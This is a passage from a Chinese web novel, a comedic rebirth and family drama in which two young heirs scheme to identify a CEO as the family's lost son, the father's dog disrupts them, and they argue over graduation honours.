到达布置的古色古香的太医院后,许聪聪强势的把崔磊磊按压在病床上,示意医生好好检查,他自己围绕着沈谦忙前忙后:“您擦擦手,真是麻烦您了。”
看着生性霸道,跟崔磊磊沆瀣一气的许聪聪如此低声下气,还弯腰递毛巾,沈谦示意助理一行人全都出去,开门见山问:“有什么事直说。你们费尽心思邀请我参加宴会,现如今还这么卑躬屈膝,你舅舅看了都得震惊吧?”
跟随过来的黎鸣点头附和:“我爸把眼珠子挖出来,都不敢相信眼前这一幕啊。许聪聪,你不对劲!”
被质疑的许聪聪一点也不在意,视线来回在沈谦的手指上一一扫过四遍,确定对方双手指甲全都修剪的整整齐齐后,只觉得自己这颗心都碎裂开了。
听得耳畔传来的催促,他才面无表情的抬眸,视线幽幽的看着沈谦,把人从头到尾打量一遍后,努力露出一抹微笑。
不得不承认一件事,若是……若是沈谦不是崔磊磊想要寻找的沈谦,那么对方若是弯的话,也挺适合做崔磊磊男朋友的。毕竟长得帅,实力出众。
在心理想着,许聪聪忍住刀割般的疼痛,谄媚着开口:“就是……就是那个您要不看在我舅舅的份上,透露一下,是不是这个?”
说完,许聪聪还竖起大拇指,稍稍弯曲了一下。
这动作的意思,在场两人都懂——是不是gay?
黎鸣见状眼眸都瞪圆了起来。他倒是不奇怪崔磊磊看上沈谦,他是纳闷得什么脑子才想得出如此拙劣的招数?
“所以碰瓷营造英雄救美,就是你们打算追求的方式?”沈谦看着如此直言不讳的许聪聪,没忍住开口道:“我看市场上那些恋爱书籍,也没有教导你们这么直追吧?”
听到这话,许聪聪都顾不得自己心底那丝丝的悲恸,眸光一亮,问:“那您是喜欢婉转点的?”
沈谦唇畔勾起一抹冷笑,缓缓瞥了眼门口,像是能够穿透竹门看到病房里的一举一动。
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沉默了半晌,他开口,郑重无比道:“我的确是gay,但我择偶的标准首先一条就是双一流大学。不跟我实力相匹配,起码也是个正常人,有正常的脑子。”
说完,沈谦转身就走。
黎鸣看着面色有些愠怒的沈谦,抬手拍了一下许聪聪的脑袋,压低了声音:“真要追人,赶紧买点书好好看看。别跟小学鸡似的,大庭广众之下让人尴尬的说不出话来。”
“我……”
“没看见A总对你们还挺有容忍度的?”瞧着面色还不忿的表弟,黎鸣语重心长:“重点都给你们圈出来了,看书!还有崔磊磊不就是双一流大学的?”
许聪聪若有所思的点点头。
“去照顾崔磊磊吧,我先过去探探口风。”
“谢谢表哥。”
感谢过后,许聪聪立马冲向病房,示意所有人都离开后,眉飞色舞的诉说自己刚才硬着头皮得到的信息。原以为崔磊磊起码能够开心点,但谁知道崔磊磊反而跟霜打茄子一样,整个人都焉哒哒的,没有半点精气神。
“你怎么了?虽然拔头发不行,指甲这个办法也行不通。但总归还有其他办法的。”
听得好友的安慰,崔磊磊把手机递给许聪聪:“你自己看,狗仔王发来消息,其他三个沈谦都被排除了。目前就剩下这一个沈谦了。”
“狗仔王还挺速度的。”许聪聪一目十行扫过消息,赞道:“不愧是专业人士。”
“你往下面看啊,我问他能不能潜入A总的公司,甚至A总常用的厕所都行。”崔磊磊趴在病床上,嗅着淡淡的消毒水味道,觉得自己都能把小说崔家的结局再回忆一遍,把自己的死亡再回忆一遍了。他不由得悲痛欲绝,丧丧道:“他说失败过两次了,再试探恐怕就会引人怀疑了。”
——狗仔王可是大名鼎鼎的情报贩子,却无法在小说开篇之前找到沈谦。那没准就意味着,得像那些穿书小说写的那样,只能按着剧情进行。
听得传入耳畔前所未有丧气的话语,许聪聪看着趴在床上一动不动,宛若丧家之犬的崔磊磊,气得手机直接砸了过去:“赶紧起来百度啊!除了头发指甲外,还有其他样本的。”
听得手机顺势咣当一声砸在地板上发出脆响,许聪聪眉眼间带着狠厉:“最后实在不行,我去买条训练有素的警犬,直接放过去咬一口A总。趁机抽血!”
崔磊磊吓得一个激灵,直接从病床上挣扎的爬起来,情绪激动:“许聪聪你疯了啊!我警告你绝对不许给我瞎出主意,也不许自己瞎行动。我醉酒去咬A总手指头,让人打破伤风都行!绝不能因为我要寻找崔家真太子爷害狗没命,且还害得是警犬。我都怕做噩梦,到时候警犬找我聊人生。”
话音落下便突兀的狗叫声,一声声的嗷呜仿若狼嚎,带着些痛苦的呜咽,但又像是愤怒的怒吼。
崔磊磊紧绷着脸环顾了四周一圈,确定自己传入耳中的真是狗叫声,吓得抬手捂着许聪聪的嘴,赶忙开口:“对不起对不起啊,我肯定好好训聪聪。我去咬人都成,都不会为了获取血液伤害狗命的,路过的狗大仙别动怒啊。”
许聪聪闻言气得要命,挣扎的想要甩开崔磊磊的手,但转眸间撞见顷刻间面色惨白的崔磊磊,表情变了又变,最后竖着耳朵细细倾听了一会,没好气的抬手指指门。
崔磊磊浑身紧绷,压低了声音,问:“什么意思啊?”
“门外,好像是你家的狗孙子。”许聪聪趁机开口说话。
崔磊磊如遭雷劈,下意识的又死死捂住许聪聪的嘴巴:“哮天犬啊,天狗食日的天狗啊,还是西方地狱之犬,求保佑啊!”
许聪聪莫得感情,死死的盯着崔磊磊的脑袋。
这……这脑袋好像不符合A总的择偶标准。
“要死啊,”见自己的智障损友还不会转弯,崔磊磊急得咬牙:“狗孙子在外,我爸他爷爷狗绳不离身!”
许聪聪傻眼:“真……真……真的?”
17. 猜测
人在紧张的情况下,据说会出现一系列的躯体性症状,比如恶心,心率加快,口干喉咙痛,甚至浑身抽搐,昏厥。
脑海猝不及防的回想起高考开考前期自己撞见学霸考前反应的一幕,崔磊磊听得愈发清晰的狗叫声,左手紧紧握紧成拳,唇畔紧抿,像是带着最后的倔强克制着生理反应,低声道:“你开门去!”
许聪聪闻言刹那间觉得自己脑袋上像是悬着一柄大刀,而不断传入耳畔的狗叫声像极了监斩官铿锵有力的大喊——“午时三刻已到,准备行刑!”
场面一时间都有些肃穆,弥漫着浓浓的血腥气,让人不寒而栗。
许聪聪随着脑补,脚步控制不住的往后撤,想要逃离这样令人窒息的场景。他都还没来得及做好准备呢!职业经理人的策划方案还有三天才能交到他手里!
但转眸间,他看见了紧绷着脸,面色却异常灰白的崔磊磊,当即眼眶一红,仿若下一秒就能够哭出来:“这……这……这事罪魁祸首是我,要不是我拦着你……”
“跟你没关系!”崔磊磊呼吸急促,开口打断了许聪聪的话语,咬着牙迈开腿,径直朝门口走去。每走一步,崔磊磊就愈发捏紧了拳头一分,脑海想着一家人相处的种种温馨画面,回想起小说最后崔家极其惨淡的描写。
崔宝诚哪怕有文凭有经验,但燕城商圈谁都不愿意得罪新上位的燕城大佬。哪怕崔宝诚愿意去干苦力,可不管到一家门店,哪一个工厂,都会有如影随形的粉丝,各种举报各种控诉。除了一个曾经受过崔家恩惠的包工头愿意收留崔宝诚,在燕城似乎都没有容人之所。
就这样的工作,崔宝诚都得蒙头盖面,甚至都得以代号出场,免得被外界知道。曾经的天之骄子活的就好像过街老鼠,人人喊打喊杀。
而父母被送进精神病院。明明没有病的两人,在护士日复一日的嘲讽中,在周围真病人神经兮兮中,一点点的被同化了,也跟着疯了起来。夫妇两神情憔悴,佝偻乞食,比流浪犬还没有尊严。可偏偏求死不得。一旦病了,一旦病危了,却有医生来吊命。
真正的上演什么叫生不如死。
他崔磊磊无法通过文字想象沈谦的相貌,但是他却能通过文字的描写,牢牢记住父母哥哥的悲惨余生,甚至还抑制不住的去想象这样的场景,克制不住的感同身受,克制不住的惊悚惶然。
也正因此,他才……才听从了许聪聪的意见,先暗中寻找着,先看看没有没合情合理解决的办法。因为扪心自问,他害怕剧情这两个字。
害怕崔磊磊费尽心思,甚至卑躬屈膝讨好沈谦,最后因为“剧情”功亏一篑。
想着埋藏在内心深处的惶然,崔磊磊眉眼间带着些愤恨,抬手扣在门把手上。当与木质的门把手接触的那一瞬间,崔磊磊疼的倒抽一口气,眼角余光飞快看了眼自己的掌心。
他大概因为刚才想事情时掐的太用力了,以致于掌心都留下几个牙形的印子,甚至皮肉都有些裂缝,溢出血珠来。光看着倒像是被狗啃了一口,有点触目惊心。
而门外的狗孙子像是嗅到了血腥味,叫声也愈发响亮了起来,甚至仿若狼嚎一般,震天响地。甚至狗爪刨木门的呲呲声,也愈发响亮,刺耳了。
听得不断传入耳畔的声音,崔磊磊唯恐自己情绪失控,忙不迭一旋转门把手。但也不知怎么的,或许是太过紧张了,他竟然眼眶集聚起一层薄薄的水雾,以致于他无法第一时间看清来人。
与此同时,许聪聪看着额头汗水跟黄豆一般大,还不断刷刷直冒出来的好兄弟,立马胸腔燃烧出热血,秉承着缩头一刀伸头一刀的原则,一把推开崔磊磊,自己率先蹿出门,大喊:“崔叔——”
话语戛然而止,许聪聪直勾勾的看着静寂无人,还空空荡荡的走廊,使劲瞪圆了眼睛,再瞧了瞧。
太医院是仿古搭建起来的场景,但真正核心的医疗急救设备搭建在马场附近(因为马场涵盖了各种稍微剧烈的运动,赛马,蹴鞠、打锤丸等等),而此处所在的太医院只有基础设备,譬如藿香正气水。是以提供工作人员休憩为主的。
他们此刻所在的是东厢房就是打着病房旗号的休息室,得通过正厅的连廊达到。
可长长的走廊空空荡荡,甚至连个人音都没有。
确定空无一人后,他缓缓的垂眸看着爪子扒在门上的狗孙子。
狗孙子土土的大名没人叫,可但凡商圈混的,都知道老崔在狗子身上寄托了盼孙的情谊,是把狗子当孙子养大的,因此都直接叫狗孙子。
这狗孙子是被养得膘肥体壮,还贼有文化,是上过警犬学校的那种,因此给人一种威风凛凛的感觉。但前提是,不能傻傻的吐舌头,否则的话也就是网传的二哈拆家既视感。比如此刻狗孙子前爪扒拉着木门,还昂着一双漂亮的蓝眼睛,冲着他“嗷呜”一声,别提有多萌萌哒,让人心软了。
但……但大概是做贼心虚的原因,他许聪聪此刻还是很生气的。
“你以后再敢拆门,我给你寄警犬训练守则,不给你寄火腿!”
恶狠狠威胁过后,许聪聪捂着噗通乱跳的心脏,猛得后退两步,凑崔磊磊耳畔开口:“崔叔叔没有来。真没有来!”
听得耳畔响起的提示声,崔磊磊不信邪的揉揉眼,瞪圆了眼睛横扫眼静寂的走廊。静默了半晌后,崔磊磊眉头紧蹙成川,总觉得哪里不对劲。
思绪飞快思忖了一会儿,他斜睨了眼还在啪啪拍打木门的狗孙子,计上心来。于是崔磊磊弯腰半蹲,视线与狗孙子的眼睛持平,仿若对待三岁幼儿一般,循循善诱的开口:“大侄子,爷爷呢?嗅一嗅,爷爷呢?”
边说,崔磊磊还抬手拍了一下鼻子,做着命令性的指示动作,“嗅一嗅,爷爷!”
许聪聪见状讶然:“磊磊,你疯了啊?这二哈,别以为他上过学就真懂指令了。”
狗孙子像是真能够听得懂人话一般,愤怒的冲许聪聪嗷呜了一声,然后抬抓指指走廊深处,冲崔磊磊汪汪了一声。
崔磊磊顺着狗爪子看了过去。走廊最里面是栅栏隔起来的设备室。
设备室只有运转的空调外机,别无其他。
与此同时一声怒吼从门口方向传来,极具穿透力:“定位显示就在这地,赶紧散开去找,趁着大部队游园之前找到。要是他不听话,再跑再撒手没,就威胁送他去动物园马戏团训练!”
话音落下还有异口同声的一声“是”。
崔磊磊闻言一愣,转眸看向带着助理气势汹汹走来的崔父,小心翼翼的开口唤了一声:“爸?!”
看着一如往日排场极大的崔父,许聪聪微不着痕的吁口气,指指狗孙子,小心翼翼问:“崔叔叔您别生气,这狗孙子自己跑出来玩了?”
狗孙子嗷呜一甩尾,还仿若记仇一般,直接脑袋埋在崔磊磊怀里,不理会崔父。
崔父无
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视着狗孙子,神色复杂的看了向眼神里藏着不安的崔磊磊,浑身紧绷。沉默不过一秒,他便插着腰,冷冷的开口回答许聪聪的提问:“这狗孙子给你们两个来通风报信的。”
边说一挥手崔父示意助理把狗孙子带走。
确定整个现场只剩下他们三人了。崔父抑制不住心中的情绪,面带愠怒的开口:“磊……”
话语说到一半,崔父似想到什么,一时间不敢去看自己宝贝儿子什么脸色,眯着眼瞪向许聪聪,骂道:“你们两个,我都不知道怎么说你们才好。有这么追人的吗?尴尬的我都想跑了。”
一听到这个话题,崔磊磊僵硬的面色缓和了几分,立马道歉:“爸爸,对不起,让你丢脸了。”
“什么丢脸!”崔父闻言立马纠正,愤愤不平道:“起码你们还有行动是吧?比那些叽叽歪歪只会羡慕却没有行动能力的人好多了,我不因为这个生气。但是!”
飙高了音调,崔父换了一只手叉腰,“我一见A总他们回宴会了,就马上来找你们想聊聊接下来的求爱作战方针,鼎力支持你们。可你们倒好,医护室就医护室,搞个太医院还用繁体?”
“繁体!”
迎着满天飞舞的唾沫星子,崔磊磊都顾不得害怕自己是否露馅了,忙不迭笑着宽慰崔父:“爸爸,您最有文化了。想想您都拿到老年大学的毕业证了,咱们从前是没有机会学习,现如今有机会学习了妥妥就是文化人!”
许聪聪在一旁附和:“对对对,叔您最有文化了!想想您从小学肄业的身份,一直自学,以常人难以想象的刻苦与奋斗,考了会计,还学了MBA,超级牛超级有文化。”
“我那还不是被坑出来的。”崔父听得耳畔传来的赞誉,矜持的叹口气,继续愤怒的开口,“我差点被你们搞的,在小辈面前维持不住文化人的身份,知道吗?所幸我激灵,装作手上没力道,撒手让狗子跑了。我让他寻着磊磊的气息,才一路找到这里。”
听到如此在情在理的解释,许聪聪再看看一脸得意,跟崔磊磊以及某个狗孙子,仿若一家祖传的“骄傲”脸,是彻彻底底放心了,确定了——之前的谈话崔父是一个字都没有听到。
于是,他点头若小鸡啄米:“叔,您真聪明。您换个角度想想,磊磊和我能够筹办这样的文化盛宴,也是说明您教得好,是不是?”
崔磊磊闻言捏了捏掌心的伤口,看向愠怒中带着些骄傲的爸爸,嘴角一弯,笑着开口:“都是爸爸您给我机会,还有钱,我才能专注这些细枝末节对不对?”
听的不断响起的彩虹屁,崔父视线横扫了眼两个把情绪都写在脸上傻乐的兔崽子,莫得感情的冷哼一声:“别拍马屁了,我现在就想知道你们,不,主要是磊磊,你对那个A总到底什么态度?真要追求的话,能不能有点正常手段?”
顿了顿,崔父一脸八卦:“你们这么智障的碰瓷手段有没有像豪门狗血小说写的那样,反向操作引起霸董的注意力了?要到A总的私人电话微信等联系方式了吗?”
两人如遭雷劈:“…………”
与此同时,刚回到宴会主场的沈谦忽然感觉后背一凉。还没等他暗中观察寒意来源,一抬眸就发现东道主崔宝诚,这个天仪服饰正儿八经的少东家忽然面色一变,握着手机,急匆匆就走向后台。速度之快,活像是背后有狗撵着追。
“出事了?”
沈谦忍不住心中琢磨道。
18. 名额(上)
但下一秒,沈谦又自我唾弃起来。
他沈谦有什么好担心的?!
之所以选择燕城发展,他只是为了解开“梦”这个谜团,只是为了研究“重生”的科学性,没有半点其他的心思。心不甘意难平都是上辈子的事情了。毕竟从物质角度论起来,崔磊磊失去的更多,甚至崔磊磊的死都是被人精心设计的。那些丧心病狂的玩意,只为利用崔磊磊的死,撬开沈家的大门,瓜分沈家的资源。
想着上辈子最后那些勾心斗角的算计,沈谦面若寒霜,推敲着自己先前的布局,琢磨着什么时候开始收网。
正精神高度集中时,沈谦忽然听到耳畔传来一声轻微的提醒:“A总,天仪服饰李董来了。”
闻言沈谦骤然回神,训练有素的露出一抹人畜无害的微笑,抬眸看向一个陌生却又算得上熟悉的妇人李桂花。
“A总,不是好意思,那兔崽子惹的祸都是我教子无方造成的。”李桂花直接握向沈谦的手,开门见山直白无比,面带愧疚,还鞠躬道:“麻烦您了,也谢谢您了。”
“您太客气了。”沈谦眼眸沉了沉,静静的看着弯曲脊梁,丝毫不在意自己颜面当众道歉的李桂花,垂首遮掩住内心的所思所想,缓缓弯腰,缓缓的抬手握住李桂花的手。
跟记忆中的差不多,掌心内都有些老茧,粗粝的让人几乎无法想象对方竟然是一个集团的创始人。但根据调查,李桂花至今都还在第一线亲力亲为,忙得几乎团团转。多年操劳下来,又因为勤俭节约,不喜铺张浪费,因此很少保养。因此眉眼间带着的风霜磨搓留下的褶皱。
但创业有成,又大概此刻长子成器,次子孝顺,因此李董整个人身上散发的自信光芒却是独一无二的。
思绪一闪而过,沈谦打起精神,慢条斯理的收回自己的手。
看着传说中冷戾的A总如此彬彬有礼,李桂花眼眸一转,恨不得双手都握住沈谦的双手,好让自己沾染上一丝名为智商的仙气,但没办法她这回是被紧急电话call过来的,有要紧事。
心中遗憾着,李桂花依依不舍的按着社交礼仪,慢慢悠悠的放开了握着领军人才的手,但她还是忍不住将A总从头到尾打量一遍,越看越觉得满意。
虽然不是浓眉大眼经典帅气的小后生,可整张脸看起来也干净,阳刚。且一身铠甲在身,穿得比老大还有几分英武将帅之气。
一点都没有拒人千里之外的疏离,反倒是瞅着就很靠谱!
满意着,李桂花慈爱的笑了笑:“A总,说句托大的话,您虽然事业有成,但年纪上也跟我儿子差不多大。那既然来了就吃好喝好玩好,这宴会不提商务,就当做小孩子家的生日宴会。真的,都不用打听,随便抓个人问问就知道,我们老崔家实在不讲虚的。”
“当成自家,自由自在的。我也不讲虚的,要不是那兔崽子闹腾,我都不会过来。所以我先走了。”
看着说完还真就走的李桂花,沈谦目送着人远去的背影,神色复杂。
“叔,您别介意,他们这些暴……”黎鸣迎着沈谦转瞬间横扫过来的锐利眼神,舌尖转了转,微笑道:“老一辈人就是这样热情好客。我爸当年感谢崔磊磊救聪聪,结果被老崔董给喝趴下了。”
——崔家别看现如今有钱,但真正根基站稳还是近五年。往前十几年,起起伏伏,濒临破产的时候也有。不过崔氏夫妇相比其他的夫妻档,多了份远见。知道被坑了就学习会计做账,请法务看合同,请……一人一个企业也能够守望相助。
但夫妇两也的的确确算是风尖浪口上起飞的暴发户。
因此也是有挺多陋习,谈生意就讲酒桌文化,遇强则弱遇弱则强,有点欺软怕硬,谄媚逢迎,最让人诟病的便是老崔董没文化却爱打肿脸充胖子,花钱买古玩字画,充世家豪门的老爷子做派,是古玩界大名鼎鼎的棒槌。
沈谦闻言嘴角抽抽:“不是有高血压要戒酒吗?”
顿了顿,沈谦轻描淡写的开口:“你跟他们家很熟?”
看沈谦竟然对崔家感兴趣的模样,黎鸣清清嗓子,一脸真挚的开口:“那个叔啊,跟您说一句掏心窝子的话,其实崔叔叔阿姨性子还行的,为人热忱待人又大方,就是吧他们两文盲出身摸爬滚打的,有那么点点小市侩。”
“但也因此他们对第二代教育抓得特紧。不管什么事情教育是头等大事。比如说刚才,明明可以借此跟您寒暄的,但李董选择了去教训熊孩子。”黎鸣秉承先抑后扬原则,一本正经的夸道:“正因为此,崔磊磊就算被戏谑成学渣,但在燕城这种地狱模式的高考大省都能考出快500分的好成绩,光文化成绩能够冲二本的。外加艺考播音主持,是堂堂正正进了燕城大学。”
“你是想夸他没有跟其他不学无术的富二代一样高考移民,没有送国外镀金?”沈谦莫得感情的开口:“哦,还偏科,对吧?”
黎鸣闻言讶然了一瞬,惊喜:“叔,您连磊磊偏科都知道啊。”
听得耳畔的絮叨,沈谦呵呵了一声,逼着自己转回视线,看向大屏幕显示的天仪服饰发展史。
天仪服饰向薄利多销的路线,算得上低中档服装行业的领头羊,但在国际服装行业上有名有号,在国内被戏谑为国货领军企业,却是靠一桩官司——胖娃娃的版权。
胖娃娃是天仪服饰集团的第一桶金,也是童装行业的领军者。商标是一个白白胖胖,虎头虎脑的胖小子,跟抱鲤童子一样,粉妆玉琢,可可爱爱的。尤其是这胖小子抱着一张乖娃娃奖状,笑得那个甜。一下子就抓住了所有家长的心。
八年前,某个国际服装行业看中华夏国内市场,选择了天仪服饰作为“孵化基地”,想要侵、占其二三线市场的销售渠道。因此便以侵权为由将天仪服饰告上了国际法庭。因为胖娃娃的商标跟他们子公司品牌几乎一模一样。甚至还翻出来天仪服饰早年间也是作为来料加工厂生存发展的历史。
预先设定了天仪服饰有罪。甚至还把法院定在国外。
一时间网上嘲讽一片,甚至整个国家服装行业的发展都被某些公知拿出来翻来覆去的鞭笞,讽刺山寨。
天仪服饰也“焉坏”的,申请了庭审直播后,慢条斯理的指出商标上胖娃娃穿的裤子叫开、裆、裤,然后还不急不缓的拿出了人类驯服幼崽的珍贵录像——小孩子撒腿边跑还嚎,大人拿着鸡毛毯子在后追。原因只因为幼儿园服装不好看,小孩子不想穿,嚎着要按着他的要求做一件新衣裳,要做幼儿园最靓的崽。
哪怕录像时隔多年有些模糊,但小孩子的穿着却清晰可见,尤其是小孩子的脸蛋,跟胖娃娃还有九分相似。外加上天仪服饰提供的成长相册,甚至幼儿园都提供了活动相册,都证明一件事——胖娃娃就是天仪服饰创始人李桂花的次子崔磊磊。
因此对方律师都傻了。
胖娃娃的出生比商标还早呢,反而是被剽窃的。因为李董一开始不懂产权登记,等公司做大了才开始登记的。但早已某个贼喊捉贼的人抢先了一步。
因此全网都震惊了。
天仪服饰渡过危机后,借着禾悦房地产积攒的资金实力,反过来收购国际服装公司,开启全球服装霸业。
回想着自己早已了解过的发家史,沈谦不知道为什么,觉得自己看着着母慈子孝,鸡飞狗跳的温馨场面,觉得自己在这一刻忽然间感受到“亲情”这两个字的力量。
崔磊磊学习成绩差;
崔磊磊唱歌跳舞的天赋也没有发挥到极致,成为领域中的佼佼者;
崔磊磊又娇又怂又无赖还花钱大手大脚。
可千万般不好,但父母可以嫌弃,可以教训;崔宝诚可以训斥,其他人却不能因此置喙一句。不能光看着所谓的成绩进行对比。
因为崔家是一家四口磕磕碰碰,同甘共苦,一同成长起来的。
这样的情感,的的确确不是光凭血缘一词能够取而代之的。
自我反省着,沈谦缓缓吁出一口气,沉默的看着被揪着后颈肉提溜回的胖娃娃。
人和人都要讲缘分的,比如他就是天煞孤星。若是让他在崔家,恐怕都激发不出李董的剪裁制衣的创作欲,也无法让李董把鸡毛掸子的功效发挥到极致。
=========
浑然不知道大厅里播放着自己的黑历史,崔磊磊目送着崔父丢下个“鄙夷”眼神,说走就走,气得想要追上前好好解释解释。
许聪聪一把薅住要离开的发小,低声:“看样子崔叔叔不知道刚才我们之间的对话。崔磊磊,我警告你啊,接下来你给我牢牢闭紧嘴巴,不许提早泄露出去。”
崔磊磊脚步一顿,侧眸看着不容置喙的许聪聪,强调:“我是当事人。”没有第一时间告知父母大哥,我已经很内疚,感觉自己背负罪孽了。
“你下个星期就毕业答辩了,答辩后按着成绩学校也要开始评优了。”许聪聪看着眼眸瞪得跟灯笼一样圆的智障好友,横扫了一圈,确定周围连个人影都没有了。因此他压低了声凑在崔磊磊耳畔,眉眼间闪现一缕精芒,谨慎的假设着:“哪怕叔叔阿姨崔大哥,哪怕那个假少爷都疼你。可也挡不住外人闲言碎语。”
语言的杀伤力,他许聪聪深有体会。
不是许家继承人,黎家外孙这样的身份能够抹平的。甚至会因此嘲讽声更重。
猝不及防的想着烙印在自己心底的一句话——“那他妈妈不就是贱吗?事业有成,不图许董的钱,黎家有这么厉害,那就是明知道许董有个女朋友还眼巴巴倒贴上去吗?没准黎家大小姐才是小三呢!”
许聪聪死死掐进了自己的掌心,逼自己压下幼年的所见所闻,目光幽幽的看着崔磊磊纯碎又明亮的眼睛,努力笑了笑。
崔磊磊见状心中所有数,看着饱受谣言荼毒的好兄弟,建议道:“我们等会就去赛马吧。”
在汗水淋漓中,在极限运动中,宣泄出心理那些说不出来哭不出来的压抑情绪。
听得耳畔笑容灿烂的邀请,许聪聪觉得自己像是被一束阳光照进了内心,驱散走那些阴霾。
沉默了半晌,许聪聪没好气的一抬手扑棱上崔磊磊的脑袋,“等会再玩,听本男主说完。”
郑重强调了一下自己的身份,许聪聪掏心掏肺的替兄弟筹划着未来:“因此磊磊你必须最好是要有点实绩在手。按着社会人士的说法……”
一字一顿,许聪聪铿锵有力着开口:“你的简历就必须含金量高。”
扪心而论,抛除家世,只有本
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科学历的崔磊磊若是不继续读研,是无法从事电视新闻栏目主持人这一职业的。
若是想进大企业,只能是靠着美貌去当公司前台。但偏偏崔磊磊又有忌口,带出去赴宴,还得看菜单里面含不含花生。因有这个过敏因素在,很容易被福利好待遇好的企业直接给pass掉。
“但HR筛简历,应届生毕业生还是会看奖项的。你若是有国家级优秀毕业生荣誉,妥妥能够进面试!”许聪聪想着自己磕磕绊绊查到的资料,只觉得自己血都沸腾起来了,仿若看到了大红的奖状。
听得传入耳畔语重心长的诉说,崔磊磊看着许聪聪眼里隐含的担忧,抬手反拍拍人肩膀,骄傲道:“你不是帮我把宴会办的有模有样,还上档次!但是——”
崔磊磊倒抽一口气,抬手去摸许聪聪额头:“你没发烧吧?国家级优秀毕业生,这个词我从来想都没想过!”
许聪聪闻言生气,“怎么对大男主说话呢?我虽然办不成事情,但是我有辅政大臣,光我妈留给我的职业经理人就有八个。”
说着许聪聪重重弹了一下崔磊磊脑门,霸气无比:“我直接一个电话把他们叫过来,让他们给我拟定个方案。所以我才掏空了整个影视城,一比一复刻出汉服盛典,懂吗?”
猝不及防听到这个内、幕,崔磊磊瞠目结舌:“难怪我刚开始想按着漫展的方向搞,你使劲拒绝。不过你怎么运作?这是天仪服饰的生日庆典啊,最多公司员工来玩玩。”
“配合你的照片冲热搜啊。”许聪聪翻白眼:“你是看不起我娱乐圈太子爷身份,还是看不起你的脸蛋?热搜冲上去吸引市民游玩后,阿姨出面上交给燕城文旅局当做全国游客暑假来燕城免费旅游地之一。这场地费两月也就千万而已,若是能够因此得一个优秀毕业生称号,对他们来说不亏。”
说着,许聪聪手扣在崔磊磊肩膀上,昂首挺胸:“就冲咱们这份觉悟,省级优秀毕业生妥妥的。到时候你不管考研还是找工作,都有个加分项。”
“可……可这个名额不是有限吗,这事办的,”崔磊磊眉头拧成川:“不是抢学霸们名额吗?对他们一点都不公平啊。虽然我是买读捐楼进燕城高中,但大学我自己考的。”
说着崔磊磊还气愤重音落在最后一个半句话,“我自己考的。”
大学四年,他虽然颓废过羡慕艺考的朋友们能够唱跳出道了,但他颓废不过三天,就投身美好大学校园生活了,是积极参加社团活动,积极谈恋爱上课翘课备考……基本上就跟普通的大学生一样,日子过的有滋有味,也很单纯的。
没必要最后搞个捐楼拿名额的事。
“你们这届有学霸吗?真有碾压制的学霸存在,为什么唯一国家台实习的名额会给你?”许聪聪拍肩:“我能不知道你底线?但你口中的学霸,就是四个菜鸡互啄,还搞得妖风阵阵,把院长都惹火了。而你起码美貌在前十里算碾压级的。”
“真的,你们传媒系闹的事情,整个燕大都知道了。”
——燕大是综合性大学,传媒系只是小小的一个分系而已,专业学科评估等级都只有B。崔家也就是冲燕大名校的招牌才让崔磊磊报名的,也没想过让人真从事主持人这行。
崔磊磊闻言摸了摸自己的脸蛋,低声:“可……可我还没想好未来是不是当专职的主持人。这名额我拿到手不是……”
“你怎么矫情起来了?”许聪聪闻言不耐,“放心我都查过资料了,你班级排名第十,绩点,学校奖项荣誉也擦边球,过入选门槛了。否则我智障,那些年薪上千万的职业经理人也不可能这么智障,是不是?”
说着,许聪聪还生气,一脸无奈:“我还只是目标瞄准省级。”
崔磊磊两手都拍上许聪聪脑门了:“你清醒点!”
许聪聪闻言来劲了:“我看过教育专业的评估,燕大也想提升专业学科评级,要是你答应读研了,学校也很乐意冲一把的,竖个招牌的。”
“脑补太多!”
崔磊磊正反驳着,忽然间接到电话,当即抬手捂住许聪聪的脸,微笑着接听电话。
挂断电话后,崔磊磊手指在唇畔上狠狠比划了两下,“燕城电视台的工作人员来了,你闭嘴,不许提叫他们来唱堂会这样有那么点点封建的词,来的主持人里还有我的学姐呢。”
堂会就是古代富豪举办宴会的时候,请艺人来助兴演出,是有点“戏子”意味的 。现如今这种性质的演出还存在,比如现在,为了给兰亭宴助兴,各种高雅的供精英子弟游玩的会馆邀请的是本地电视台有名的四小花旦担任主持人。马场主持是体育赛事的名嘴;纨绔爱好的场子,便是一二线明星暖场了。
当然现如今嘛,叫做商演。
“瞧你这怜香惜玉的,我还不够开绿色通道,就差点名直接要燕大传媒系毕业生了。”许聪聪冷哼一声,“咱们停止争议,先去看看那些主持人,别让他们在太子爷面前丢了脸。”
闻言,崔磊磊面色凝重的点点头。
两人到达名为福寿堂的门口,还没跨门槛走进去呢,就听得阴阳怪气的一声:“哟,崔磊磊同学不是能耐到进国家台当实习生了吗?怎么还狗改不了吃屎,打算靠走后门来在兰亭宴勾搭男人啊?”
19. 名额(中)
崔磊磊嘴角笑意一僵,抬眸看了眼挂着燕城电视台工作证的同学徐人杰。
对方就是许聪聪戏谑的四大菜鸟之一,成绩排名常年前四。相比系里其他同学来说,徐人杰非常有学霸的模样,五点半就到校早读,十一点钟才从教室里离开,十分刻苦,风雨无阻。但扪心而论,这样的勤奋跟所有艺术学院的画风都格格不入。
尤其吧,让他们播音主持系同学比较尴尬的是:徐同学这么努力了,还坐不稳第一的宝座。他一方面唯“分数论”鄙夷比他成绩低的人,另一方面又内涵考试比他高的人是伪学霸,平时成绩高分都是老师注水的。因此别说系里了,所有艺术学院,徐人杰的人缘都不怎么好。
但恰恰相反,崔磊磊算得上整个燕大的校草,人缘好到爆。
因此徐人杰就红眼病了。特别是在崔磊磊捡漏到国家台实习的名额之后,就从阴阳怪气直接走口无遮掩耿直风了!
想着,崔磊磊就颇为头疼,视线落在徐人杰的工作牌眼里忍不住带着懊悔——
他就不该放权,不对,就该好好审查工作人员的名单,否则就不会混进这么个玩意!
崔磊磊真是要好好检讨自己了,自己的主场竟然还能放进一只苍蝇!
暗中反省着,崔磊磊拿出自己两辈子的睿智,克制住怒火,一字一顿:“大家同学一场,你立马给我道歉,此事到此为止。”
徐人杰见状,只觉得崔磊磊此刻是羡慕的眼神,因此手慢慢的把工作牌特意朝崔磊磊晃了晃,得意的眉头一挑。
大学老师一点也不像初高中的老师,只会干巴巴的夸他徐人杰一句真努力。而崔磊磊呢,每次上台就随意比划一下,就会掌声雷动,就会引一群人嗷嗷叫,就连老师也满脸笑意。甚至崔磊磊偶尔逃课翘课,老师也会睁一只眼闭一只眼,平时成绩还给高分。
